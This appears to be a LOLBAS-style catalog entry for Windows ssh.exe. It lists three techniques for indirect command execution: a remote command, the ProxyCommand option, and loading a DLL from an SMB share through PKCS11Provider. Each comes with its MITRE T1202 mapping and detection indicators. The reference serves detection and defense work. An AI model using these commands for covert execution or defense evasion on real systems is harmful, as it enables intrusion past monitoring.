DΛΣMӨП

Catalog LOLBAS

LOL · Binary

ssh.exe

3 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Executes specified command on host machine. The prompt for password can be eliminated by adding the host's public key in the user's authorized_keys file. Adversaries can do the same for execution on remote machines.

Use Execute specified command, can be used for defense evasion.

ssh localhost "{CMD}"
Context
user
Native
Execute
MITRE
T1202
Detection
IOC: Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.
IOC: command line arguments specifying execution.

Execute

Execution Windows

Executes specified command from ssh.exe

Use Performs execution of specified file, can be used as a defensive evasion.

ssh -o ProxyCommand="{CMD}" .
Context
user
Native
Execute
MITRE
T1202
Detection
IOC: Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.
IOC: command line arguments specifying execution.

Execute

Execution Windows

Executes a DLL from an SMB share by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by `ssh.exe`. Note that all backslashes should be escaped (i.e. every `\` should be turned into `\\`).

Use Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.

ssh -o PKCS11Provider="\\\\127.0.0.1\\Temp\\example.dll" win@github.com
Context
user
Native
Execute
MITRE
T1202
Detection
IOC: Event ID 4624 with process name C:\Windows\System32\OpenSSH\sshd.exe.
IOC: command line arguments specifying execution.